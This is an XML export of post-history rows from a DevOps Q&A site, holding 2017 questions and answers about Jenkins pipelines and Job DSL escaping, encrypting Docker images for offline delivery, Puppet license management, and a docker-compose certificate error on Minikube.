  <row Id="6052" PostHistoryTypeId="2" PostId="1916" RevisionGUID="e9bf086b-b5ca-4262-9713-9a55ebf5aa9d" CreationDate="2017-09-03T06:13:53.890" UserId="2450" Text="You can use the `checkout scm` step whenever you need the source:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent none&#xD;&#xA;      options { skipDefaultCheckout() }&#xD;&#xA;      stages {&#xD;&#xA;        stage('Build') {&#xD;&#xA;          agent { node { label 'builder' } }&#xD;&#xA;          steps {&#xD;&#xA;            checkout scm&#xD;&#xA;            echo 'build-the-app'&#xD;&#xA;            stash(name: 'app', includes: 'outputs')&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Test') {&#xD;&#xA;          agent { node { label 'tester' } }&#xD;&#xA;          steps {&#xD;&#xA;            unstash 'app'&#xD;&#xA;            echo 'test-the-app'&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="6053" PostHistoryTypeId="2" PostId="1917" RevisionGUID="624c0022-d682-42e6-b0a1-5d97633b2164" CreationDate="2017-09-03T06:41:45.477" UserId="4175" Text="We are developing and building docker images in our intranet, and need to deploy them to several hosts belonging to us (developers, internal testing, external testing and so on). Some of these are in our intranet, some are accessible for 3rd parties on the internet.&#xD;&#xA;&#xD;&#xA;The final deployment is inside the customer's intranet on several nodes (production, different test stages). These are behind firewalls that don't regularly let them access things outside their intranet, i.e., while some of them can be allowed to access an external registry for deployment, others can't and images have to be delivered manually through some arcane software upload tool.&#xD;&#xA;&#xD;&#xA;I am looking for a way to have a registry on the internet (possibly ran by ourselves on some VM out there, preferably not) which allows the images to be stored encrypted (preferably GPG or similar, not a simple password). But then also being able to rather simply delivering &quot;half&quot; of the stuff via some upload mechanism manually. The customer is very paranoid, so keeping the end-to-end-encryption up is quite important.&#xD;&#xA;&#xD;&#xA;Is there a tool that springs to mind, which is perfectly able to handle it? One solution would be to mirror the full registry to the customer premises on a dedicated host, keeping the encryption part intact.&#xD;&#xA;&#xD;&#xA;A &quot;standard&quot; solution would be great, I'd be loath to hack something together if there is something lean/lightweight/established/stable around, already." ContentLicense="CC BY-SA 3.0" />
  <row Id="6054" PostHistoryTypeId="1" PostId="1917" RevisionGUID="624c0022-d682-42e6-b0a1-5d97633b2164" CreationDate="2017-09-03T06:41:45.477" UserId="4175" Text="Encrypting docker images; transporting over offline channels" ContentLicense="CC BY-SA 3.0" />
  <row Id="6055" PostHistoryTypeId="3" PostId="1917" RevisionGUID="624c0022-d682-42e6-b0a1-5d97633b2164" CreationDate="2017-09-03T06:41:45.477" UserId="4175" Text="&lt;docker&gt;&lt;deployment&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6056" PostHistoryTypeId="2" PostId="1918" RevisionGUID="7a06c641-d38c-4efa-add9-d5c6566063ca" CreationDate="2017-09-04T13:00:56.483" UserId="210" Text="[This documentation][1] indicates that it is possible to add collaborators by trusting their key and that it is also possible to revoke access.&#xD;&#xA;&#xD;&#xA;Having said that, the answer to:&#xD;&#xA;&#xD;&#xA;&gt; either an image is signed or it is not, but it is not qualified by who&#xD;&#xA;&gt; performed the signing&#xD;&#xA;&#xD;&#xA;that it is possible to check who signed the image if every collaborator creates their own key and each key is trusted individually.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/security/trust/trust_delegation/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6057" PostHistoryTypeId="5" PostId="1918" RevisionGUID="4281ef15-a3f8-4531-8873-6ae8af0ed09a" CreationDate="2017-09-04T13:20:34.067" UserId="210" Comment="added 276 characters in body" Text="[This documentation][1] indicates that it is possible to add collaborators by trusting their key and that it is also possible to revoke access.&#xD;&#xA;&#xD;&#xA;Having said that, the answer to:&#xD;&#xA;&#xD;&#xA;&gt; either an image is signed or it is not, but it is not qualified by who&#xD;&#xA;&gt; performed the signing&#xD;&#xA;&#xD;&#xA;that it is possible to check who signed the image if every collaborator creates their own key and each key is trusted individually.&#xD;&#xA;&#xD;&#xA;As notary and dtr were already mentioned, an alternative is [Portus][2]. Portus is able to restrict access to docker images, e.g. some users are only allowed to view images, while others may pull them. It is possible to revoke access as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/security/trust/trust_delegation/&#xD;&#xA;  [2]: http://port.us.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6059" PostHistoryTypeId="2" PostId="1920" RevisionGUID="b73cd5c9-be4f-404b-86cd-c06384edee14" CreationDate="2017-09-04T13:34:56.710" UserId="4197" Text="I have the following DSL code and I´m getting error on line 13, &quot;$class&quot;. I guess than everyting inside script(&quot;&quot;&quot;&quot;&quot;&quot;) is parsed as a plain text to the pipeline definition but I don´t know what´s wrong or how to solve &quot;$&quot; character.&#xD;&#xA;&#xD;&#xA;Does anyone know how to make that character not display error?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;    pipelineJob('DSL-Test') {&#xD;&#xA;&#xD;&#xA;    parameters {&#xD;&#xA;        choiceParam ('version', ['1.2.1', '1.2.0'], 'Docker Version')&#xD;&#xA;    }&#xD;&#xA;  &#xD;&#xA;    definition {&#xD;&#xA;		cps {&#xD;&#xA;          	sandbox(boolean sandbox = true)&#xD;&#xA;            script(&quot;&quot;&quot;&#xD;&#xA;				node ('master'){&#xD;&#xA;    				stage('Git Checkout'){&#xD;&#xA;        				checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: 'mycrednetial', url: 'myurl']]])&#xD;&#xA;                	}&#xD;&#xA;                }&#xD;&#xA;			&quot;&quot;&quot;.stripIndent()) &#xD;&#xA;    	     }&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This is the error I get.&#xD;&#xA;&#xD;&#xA;&gt; Processing provided DSL script ERROR: startup failed: script: 13:&#xD;&#xA;&gt; unexpected token: class @ line 13, column 24.&#xD;&#xA;&gt;            				checkout([$class: 'GitSCM'])&#xD;&#xA;&gt;                           ^&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1 error&#xD;&#xA;&gt; &#xD;&#xA;&gt; Started calculate disk usage of build Finished Calculation of disk&#xD;&#xA;&gt; usage of build in 0 seconds Started calculate disk usage of workspace&#xD;&#xA;&gt; Finished Calculation of disk usage of workspace in 0 seconds Finished:&#xD;&#xA;&gt; FAILURE&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6060" PostHistoryTypeId="1" PostId="1920" RevisionGUID="b73cd5c9-be4f-404b-86cd-c06384edee14" CreationDate="2017-09-04T13:34:56.710" UserId="4197" Text="Jenkins DSL - Pipeline Job (Unexpected token '$')" ContentLicense="CC BY-SA 3.0" />
  <row Id="6061" PostHistoryTypeId="3" PostId="1920" RevisionGUID="b73cd5c9-be4f-404b-86cd-c06384edee14" CreationDate="2017-09-04T13:34:56.710" UserId="4197" Text="&lt;jenkins&gt;&lt;job-dsl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6062" PostHistoryTypeId="2" PostId="1921" RevisionGUID="d30b6bce-4537-4508-9f20-bf307981286a" CreationDate="2017-09-04T13:39:42.980" UserId="4197" Text="I have just managed how to escape characters.&#xD;&#xA;&#xD;&#xA;The solution is to add: &quot;\&quot; before the character.&#xD;&#xA;&#xD;&#xA;    checkout([\$class:....&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6063" PostHistoryTypeId="2" PostId="1922" RevisionGUID="6608155c-b4e1-4c5e-b29f-59d58876bf99" CreationDate="2017-09-04T14:06:25.397" UserId="503" Text="I have seen quite a few of the blogs I follow recommending more and more books over time.&#xD;&#xA;&#xD;&#xA;I enjoy reading fiction and have no aversion to books but where a blogpost can be updated/rewritten when tech moves on these books which are normally ~£20-30 cannot.&#xD;&#xA;&#xD;&#xA;Is there a particular quality to DevOps related titles which is missing from the online world or is everyone but me nuts?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6064" PostHistoryTypeId="1" PostId="1922" RevisionGUID="6608155c-b4e1-4c5e-b29f-59d58876bf99" CreationDate="2017-09-04T14:06:25.397" UserId="503" Text="Why are books so prevalent in the DevOps community?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6065" PostHistoryTypeId="3" PostId="1922" RevisionGUID="6608155c-b4e1-4c5e-b29f-59d58876bf99" CreationDate="2017-09-04T14:06:25.397" UserId="503" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6066" PostHistoryTypeId="5" PostId="1917" RevisionGUID="0b12b404-ecc0-44f1-8843-0a979ecbfe2c" CreationDate="2017-09-04T14:19:55.467" UserId="4175" Comment="added 278 characters in body; edited title" Text="We are developing and building docker images in our intranet, and need to deploy them to several hosts belonging to us (developers, internal testing, external testing and so on). Some of these are in our intranet, some are accessible for 3rd parties on the internet.&#xD;&#xA;&#xD;&#xA;The final deployment is inside the customer's intranet on several nodes (production, different test stages). These are behind firewalls that don't regularly let them access things outside their intranet, i.e., while some of them can be allowed to access an external registry for deployment, others can't and images have to be delivered manually through some arcane software upload tool.&#xD;&#xA;&#xD;&#xA;I am looking for a way to have a registry on the internet (possibly ran by ourselves on some VM out there, preferably not) which allows the images to be stored encrypted (preferably GPG or similar, not a simple password). But then also being able to rather simply delivering &quot;half&quot; of the stuff via some upload mechanism manually. The customer is very paranoid, so keeping the end-to-end-encryption up is quite important.&#xD;&#xA;&#xD;&#xA;Is there a tool that springs to mind, which is perfectly able to handle it? One solution would be to mirror the full registry to the customer premises on a dedicated host, keeping the encryption part intact.&#xD;&#xA;&#xD;&#xA;A &quot;standard&quot; solution would be great, I'd be loath to hack something together if there is something lean/lightweight/established/stable around, already.&#xD;&#xA;&#xD;&#xA;EDIT (+edit to the title): An extensive permission scheme like the one offered by Portus is a good start, but I am looking ideally for end-to-end encryption of the actual images. The customer is ultra paranoid and just getting started with Docker, cloud-based services etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="6067" PostHistoryTypeId="4" PostId="1917" RevisionGUID="0b12b404-ecc0-44f1-8843-0a979ecbfe2c" CreationDate="2017-09-04T14:19:55.467" UserId="4175" Comment="added 278 characters in body; edited title" Text="Encrypting docker images (end to end); transporting over offline channels" ContentLicense="CC BY-SA 3.0" />
  <row Id="6068" PostHistoryTypeId="5" PostId="1920" RevisionGUID="07b18cac-36df-4f54-b10d-14678ca3f5d4" CreationDate="2017-09-04T14:36:24.803" UserId="47" Comment="improved readability" Text="I have the following DSL code and I´m getting error on line 13, `$class`. I guess than everything inside `script(&quot;&quot;&quot;...&quot;&quot;&quot;)` is parsed as plain text to the pipeline definition but I don´t know what´s wrong or how to escape the `$` character.&#xD;&#xA;&#xD;&#xA;My code:&#xD;&#xA;&#xD;&#xA;    pipelineJob('DSL-Test') {&#xD;&#xA;&#xD;&#xA;    parameters {&#xD;&#xA;        choiceParam ('version', ['1.2.1', '1.2.0'], 'Docker Version')&#xD;&#xA;    }&#xD;&#xA;  &#xD;&#xA;    definition {&#xD;&#xA;		cps {&#xD;&#xA;          	sandbox(boolean sandbox = true)&#xD;&#xA;            script(&quot;&quot;&quot;&#xD;&#xA;				node ('master'){&#xD;&#xA;    				stage('Git Checkout'){&#xD;&#xA;        				checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: 'mycrednetial', url: 'myurl']]])&#xD;&#xA;                	}&#xD;&#xA;                }&#xD;&#xA;			&quot;&quot;&quot;.stripIndent()) &#xD;&#xA;    	     }&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This is the error I get:&#xD;&#xA;&#xD;&#xA;&gt; Processing provided DSL script ERROR: startup failed: script: 13:&#xD;&#xA;&gt; unexpected token: class @ line 13, column 24.&#xD;&#xA;&gt;            				checkout([$class: 'GitSCM'])&#xD;&#xA;&gt;                           ^&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1 error&#xD;&#xA;&gt; &#xD;&#xA;&gt; Started calculate disk usage of build Finished Calculation of disk&#xD;&#xA;&gt; usage of build in 0 seconds Started calculate disk usage of workspace&#xD;&#xA;&gt; Finished Calculation of disk usage of workspace in 0 seconds Finished:&#xD;&#xA;&gt; FAILURE&#xD;&#xA;&#xD;&#xA;Does anyone know how to make that character not display error?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6069" PostHistoryTypeId="2" PostId="1923" RevisionGUID="43224947-c9a3-4efb-8351-687a8716dac3" CreationDate="2017-09-04T14:42:15.880" UserId="6" Text="In most cases, the recommended books are not about technology. While technology changes, the fundamental principles behind organizations like system thinking, leadership, common sense, etc... do not change as often.&#xD;&#xA;&#xD;&#xA;Books such as The Goal, and even The DevOps Handbook do not mention much technology on their pages but rather ways to manage work being performed by people.&#xD;&#xA;&#xD;&#xA;Many problems are technology related, topics such as Microservices, Architecting large-scale systems, Infrastructure as Code, etc... these don't talk about a specific tool and/or technology but rather about an architectural topic. A field of knowledge that people who build large systems need to know in order to build the system correctly. This knowledge is rare, and its great the books are written about these subjects - just disregard the tools mentioned, or translate into their new-er reincarnation.&#xD;&#xA;&#xD;&#xA;One of the better books about creating quality software (imho) is Agile Software Development, Principles, Patterns, and Practices. And while the language used in this book (Java) has moved along quite a bit, the examples provided in the book are timeless and can be easily translated into any other language of choice.&#xD;&#xA;&#xD;&#xA;Some of the problems the DevOps movement tries to solve are involved with common ways work is managed in organizations that just doesn't make any sense. As Eliyahu Goldratt often said (author of The Goal) &quot;Common sense is not very common&quot;.&#xD;&#xA;&#xD;&#xA;These books teach principles of thinking correctly about problems and human relationships in a system setting so that the whole system is improved. The lessons are old, and unfortunately, only rarely there are people who work in the field who actually learned them.&#xD;&#xA;&#xD;&#xA;Naturally, there are also authors who wrote books about such and such fizz-bang tech tool that is new and relevant to the field, like AWS or Docker or Jenkins or whatever and just want to push their book sales ... but I try and exclude these kinds of blog posts from my answer." ContentLicense="CC BY-SA 3.0" />
  <row Id="6071" PostHistoryTypeId="2" PostId="1924" RevisionGUID="6a715358-3a97-48c6-9ba5-696c0e64a920" CreationDate="2017-09-04T18:45:08.233" UserId="786" Text="Is it a hard requirement to use only `sar` and `sysstat`? If not you might want to look at [collectl][1] or [collectd][2]. These will enable you to study memory usage over time on a per-process granularity. It's really not worth wasting your time writing your own scripts to parse `/proc` as the other answer suggests; this is a solved problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://collectl.sourceforge.net&#xD;&#xA;  [2]: https://collectd.org" ContentLicense="CC BY-SA 3.0" />
  <row Id="6072" PostHistoryTypeId="2" PostId="1925" RevisionGUID="88424f39-bd34-47ed-bf78-9818f27262cb" CreationDate="2017-09-04T18:52:41.387" UserId="786" Text="This is a sign of the growing maturity of infrastructure engineering as a field or a profession. If you consider any of the more traditional forms of engineering such as mechanical, civil or electrical, the bulk of the knowledge is is paper book form, that is how it is taught, practicing engineers consult reference books. That is because once the underlying principles are understood and codified, the details of implementation are specific only to a particular application or installation. You can consider any engineering artefact - a skyscraper or bridge, a jet engine, an aircraft carrier. Enormously sophisticated, requiring great skill to construct, but built using general principles that now they are understood, change only over the course of decades, and would be readily understandable to an engineer from decades ago. &#xD;&#xA;&#xD;&#xA;Making it more DevOps specific - it really doesn't matter if you implement configuration management with CFEngine, Chef, Puppet or anything else, the principles of configuration management are well understood enough now that they can be written down and applied to any actual tool. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6073" PostHistoryTypeId="19" PostId="86" RevisionGUID="6671181f-6b4f-4293-abbd-4b525acd765e" CreationDate="2017-09-04T18:53:21.733" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="6074" PostHistoryTypeId="34" PostId="1840" RevisionGUID="b36761c3-40a7-4b3e-a7ec-7f430dd73eb8" CreationDate="2017-09-04T19:31:37.707" UserId="60" Comment="6" />
  <row Id="6075" PostHistoryTypeId="5" PostId="1923" RevisionGUID="91b8a1c7-a0d0-4a6c-a33c-276e38eef8dd" CreationDate="2017-09-05T02:12:48.867" UserId="739" Comment="formatting" Text="In most cases, the recommended books are not about technology. While technology changes, the fundamental principles behind organizations like system thinking, leadership, common sense, etc... do not change as often.&#xD;&#xA;&#xD;&#xA;Books such as *The Goal*, and even *The DevOps Handbook* do not mention much technology on their pages but rather ways to manage work being performed by people.&#xD;&#xA;&#xD;&#xA;Many problems are technology related, topics such as Microservices, Architecting large-scale systems, Infrastructure as Code, etc... these don't talk about a specific tool and/or technology but rather about an architectural topic. A field of knowledge that people who build large systems need to know in order to build the system correctly. This knowledge is rare, and its great the books are written about these subjects - just disregard the tools mentioned, or translate into their new-er reincarnation.&#xD;&#xA;&#xD;&#xA;One of the better books about creating quality software (imho) is *Agile Software Development, Principles, Patterns, and Practices*. And while the language used in this book (Java) has moved along quite a bit, the examples provided in the book are timeless and can be easily translated into any other language of choice.&#xD;&#xA;&#xD;&#xA;Some of the problems the DevOps movement tries to solve are involved with common ways work is managed in organizations that just doesn't make any sense. As Eliyahu Goldratt often said (author of *The Goal*) &quot;Common sense is not very common&quot;.&#xD;&#xA;&#xD;&#xA;These books teach principles of thinking correctly about problems and human relationships in a system setting so that the whole system is improved. The lessons are old, and unfortunately, only rarely there are people who work in the field who actually learned them.&#xD;&#xA;&#xD;&#xA;Naturally, there are also authors who wrote books about such and such fizz-bang tech tool that is new and relevant to the field, like AWS or Docker or Jenkins or whatever and just want to push their book sales ... but I try and exclude these kinds of blog posts from my answer." ContentLicense="CC BY-SA 3.0" />
  <row Id="6076" PostHistoryTypeId="24" PostId="1923" RevisionGUID="91b8a1c7-a0d0-4a6c-a33c-276e38eef8dd" CreationDate="2017-09-05T02:12:48.867" Comment="Proposed by 739 approved by 46 edit id of 431" ContentLicense="CC BY-SA 3.0" />
  <row Id="6077" PostHistoryTypeId="2" PostId="1926" RevisionGUID="6d27fc65-f7fd-4b27-a759-08421a02b376" CreationDate="2017-09-05T04:32:43.473" UserId="3178" Text="Running systemd inside the container should not be required as docker run eventually does the same thing. Make changes in your run scripts to make them independant from systemd.&#xD;&#xA;If you still insist on using systemd and do not care about how docker works, there is a way to let systemd work inside the container. Follow this link:&#xD;&#xA;&#xD;&#xA;https://developers.redhat.com/blog/2014/05/05/running-systemd-within-docker-container/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6087" PostHistoryTypeId="2" PostId="1930" RevisionGUID="c6a4cdb4-77c5-4490-bc1a-cd4c92ab87f1" CreationDate="2017-09-06T04:50:05.777" UserId="3752" Text="I have a java project, and I'm generating `.jar` file.&#xD;&#xA;My question is what is the best practice to use docker and jenkins for build and deploy the project?&#xD;&#xA;Is it build the jar with one docker image, then put the Jar file in another docker image and run a container from the last image in the production env or is there a better way to do that?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6088" PostHistoryTypeId="1" PostId="1930" RevisionGUID="c6a4cdb4-77c5-4490-bc1a-cd4c92ab87f1" CreationDate="2017-09-06T04:50:05.777" UserId="3752" Text="What is the best way to deploy a compiled language project with docker and jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6089" PostHistoryTypeId="3" PostId="1930" RevisionGUID="c6a4cdb4-77c5-4490-bc1a-cd4c92ab87f1" CreationDate="2017-09-06T04:50:05.777" UserId="3752" Text="&lt;jenkins&gt;&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6090" PostHistoryTypeId="2" PostId="1931" RevisionGUID="b6a3d2f6-7dd7-428b-9b2e-48e0dd3bd2d1" CreationDate="2017-09-06T05:20:42.473" UserId="4223" Text="I'm trying to manage multiple floating licenses (e.g. Oracle Database) from a master configuration server using a pull model. Normally I use Puppet to handle configuration stuff like this, but I'm having trouble finding any info on managing floating licenses with Puppet.&#xD;&#xA;&#xD;&#xA;Any suggestions on how I do this?&#xD;&#xA;&#xD;&#xA;For example, I have 5 unique Oracle Licenses kept in separate files and I need some way for systems to be able to check in or check out those licenses. Each license can't be used by more than one system at a time. Also I need to send an e-mail if a system tries to check out a license but there are none left.&#xD;&#xA;&#xD;&#xA;Normally I'd be trying to just figure out how to do this with Puppet, but I'm realizing this is going beyond my familiarity with Ops in general&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="6091" PostHistoryTypeId="1" PostId="1931" RevisionGUID="b6a3d2f6-7dd7-428b-9b2e-48e0dd3bd2d1" CreationDate="2017-09-06T05:20:42.473" UserId="4223" Text="Check Out / Check In System for Floating Licenses" ContentLicense="CC BY-SA 3.0" />
  <row Id="6092" PostHistoryTypeId="3" PostId="1931" RevisionGUID="b6a3d2f6-7dd7-428b-9b2e-48e0dd3bd2d1" CreationDate="2017-09-06T05:20:42.473" UserId="4223" Text="&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6093" PostHistoryTypeId="2" PostId="1932" RevisionGUID="fb9686a7-2ece-49db-a1f9-0da0f8dbaa1a" CreationDate="2017-09-06T08:13:53.357" UserId="3939" Text="I do not know how how about Jenkins, but GitLab CI has feature called [artifacts][1] which allow you to&#xA;&#xA;- explitely share some files/directories between builds&#xA;- download them from GitLab Pipeline view&#xA;&#xA;Additional pro is that allows you to make deployments manual actions.&#xA;&#xA;Also if you are building [fat JARs][2] you do not need Docker for your deployments at all.&#xA;&#xA;So the best solution for you is to have separate task for building release and separate for deployment (which can be manual job or not). &#xA;&#xA;&#xA;  [1]: https://docs.gitlab.com/ee/user/project/pipelines/job_artifacts.html&#xA;  [2]: https://stackoverflow.com/questions/19150811/what-is-a-fat-jar" ContentLicense="CC BY-SA 3.0" />
  <row Id="6094" PostHistoryTypeId="2" PostId="1933" RevisionGUID="10721f5d-d814-4583-b180-b2132c4c9635" CreationDate="2017-09-06T08:28:03.670" UserId="4197" Text="Hello I want the following behaviour. &#xD;&#xA;&#xD;&#xA;A want my job to be parametrized. The thing is that I want to select a unique parameter with multiple values. &#xD;&#xA;&#xD;&#xA;I have a unique parameter named number with 2 options (1, 2) and then set of values linked to each option:&#xD;&#xA;&#xD;&#xA;&gt; Parameter name: var &#xD;&#xA;&#xD;&#xA;&gt; Options: &#xD;&#xA;&gt;&#xD;&#xA;&gt; 1&#xD;&#xA;&gt;&#xD;&#xA;&gt; 2&#xD;&#xA;&#xD;&#xA;Let´s say:&#xD;&#xA;&#xD;&#xA; - One set of values: &#xD;&#xA;&#xD;&#xA;&gt;  - value1: &quot;1.0.0&quot;&#xD;&#xA;&gt;  - value2: &quot;myname&quot; &#xD;&#xA;&gt;  - value3:&quot;build/libs&quot;&#xD;&#xA;&#xD;&#xA; - Another set of values:&#xD;&#xA;&#xD;&#xA;&gt;  - value1: &quot;2.0.0&quot;&#xD;&#xA;&gt;  - value2: &quot;myname2&quot; &#xD;&#xA;&gt;  - value3: &quot;var/lib&quot;&#xD;&#xA;&#xD;&#xA;In the &quot;Build section&quot; I select &quot;Execute shell&quot; with the following lines:&#xD;&#xA;&#xD;&#xA;    echo ${var.value1}&#xD;&#xA;    echo ${var.value2}&#xD;&#xA;    echo ${var.value3}&#xD;&#xA;&#xD;&#xA;So when building the job I would like to select from a dropdown list with 2 values as said above: 1 and 2.&#xD;&#xA;&#xD;&#xA;If I select 1, I would like to take the first set of values so that it would dislplay:&#xD;&#xA;&#xD;&#xA;    1.0.0&#xD;&#xA;    myname&#xD;&#xA;    build/libs&#xD;&#xA;&#xD;&#xA;On the other hand if I select 2, I would like to display the second set of values:&#xD;&#xA;&#xD;&#xA;    2.0.0&#xD;&#xA;    myname2&#xD;&#xA;    var/lib&#xD;&#xA;&#xD;&#xA;I have tried &quot;Extended Choice Parameter plugin&quot; but I don´t know how to manage this situation.&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 3.0" />
  <row Id="6095" PostHistoryTypeId="1" PostId="1933" RevisionGUID="10721f5d-d814-4583-b180-b2132c4c9635" CreationDate="2017-09-06T08:28:03.670" UserId="4197" Text="Jenkins Select unique parameter with multiple values" ContentLicense="CC BY-SA 3.0" />
  <row Id="6096" PostHistoryTypeId="3" PostId="1933" RevisionGUID="10721f5d-d814-4583-b180-b2132c4c9635" CreationDate="2017-09-06T08:28:03.670" UserId="4197" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6097" PostHistoryTypeId="2" PostId="1934" RevisionGUID="5e0895f5-0fd4-4caf-87b8-fc099c838a65" CreationDate="2017-09-06T08:35:49.537" UserId="3775" Text="I have a complete docker stack ([source][1]) which uses docker-compose.&#xD;&#xA;&#xD;&#xA;It works fine by its own, but now I'm trying to deploy it in Kubernetes' Minikube and when after `eval $(minikube docker-env)` I try to run `docker-compose up`, it throws the following error:&#xD;&#xA;&gt; backports.ssl_match_hostname.CertificateError: hostname '192.168.99.100' doesn't match 'localhost'&#xD;&#xA;&#xD;&#xA;What am I missing?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;This is the complete trace:&#xD;&#xA;&#xD;&#xA;&gt; Traceback (most recent call last):&#xD;&#xA;&#xD;&#xA;&gt; File &quot;/usr/bin/docker-compose&quot;, line 9, in &lt;module&gt;&#xD;&#xA;    load_entry_point('docker-compose==1.8.0', 'console_scripts', 'docker-compose')()&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/compose/cli/main.py&quot;, line 61, in main&#xD;&#xA;    command()&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/compose/cli/main.py&quot;, line 113, in perform_command&#xD;&#xA;    handler(command, command_options)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/compose/cli/main.py&quot;, line 835, in up&#xD;&#xA;    remove_orphans=remove_orphans)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/compose/project.py&quot;, line 372, in up&#xD;&#xA;    warn_for_swarm_mode(self.client)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/compose/project.py&quot;, line 539, in warn_for_swarm_mode&#xD;&#xA;    info = client.info()&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/docker/api/daemon.py&quot;, line 33, in info&#xD;&#xA;    return self._result(self._get(self._url(&quot;/info&quot;)), True)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/docker/utils/decorators.py&quot;, line 47, in inner&#xD;&#xA;    return f(self, *args, **kwargs)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/docker/client.py&quot;, line 140, in _get&#xD;&#xA;    return self.get(url, **self._set_request_timeout(kwargs))&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/requests/sessions.py&quot;, line 480, in get&#xD;&#xA;    return self.request('GET', url, **kwargs)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/requests/sessions.py&quot;, line 468, in request&#xD;&#xA;    resp = self.send(prep, **send_kwargs)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/requests/sessions.py&quot;, line 576, in send&#xD;&#xA;    r = adapter.send(request, **kwargs)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/requests/adapters.py&quot;, line 376, in send&#xD;&#xA;    timeout=timeout&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py&quot;, line 560, in urlopen&#xD;&#xA;    body=body, headers=headers)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py&quot;, line 346, in _make_request&#xD;&#xA;    self._validate_conn(conn)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py&quot;, line 787, in _validate_conn&#xD;&#xA;    conn.connect()&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/urllib3/connection.py&quot;, line 277, in connect&#xD;&#xA;    match_hostname(cert, asserted_hostname)&#xD;&#xA;&#xD;&#xA;&gt;  File &quot;/usr/lib/python2.7/dist-packages/backports/ssl_match_hostname/__init__.py&quot;, line 99, in match_hostname&#xD;&#xA;    % (hostname, dnsnames[0]))&#xD;&#xA;&#xD;&#xA;&gt;backports.ssl_match_hostname.CertificateError: hostname '192.168.99.100' doesn't match 'localhost'&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/carlosas/docker-for-symfony-3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6098" PostHistoryTypeId="1" PostId="1934" RevisionGUID="5e0895f5-0fd4-4caf-87b8-fc099c838a65" CreationDate="2017-09-06T08:35:49.537" UserId="3775" Text="Docker-compose + Kubernetes: backports.ssl_match_hostname.CertificateError" ContentLicense="CC BY-SA 3.0" />
  <row Id="6099" PostHistoryTypeId="3" PostId="1934" RevisionGUID="5e0895f5-0fd4-4caf-87b8-fc099c838a65" CreationDate="2017-09-06T08:35:49.537" UserId="3775" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
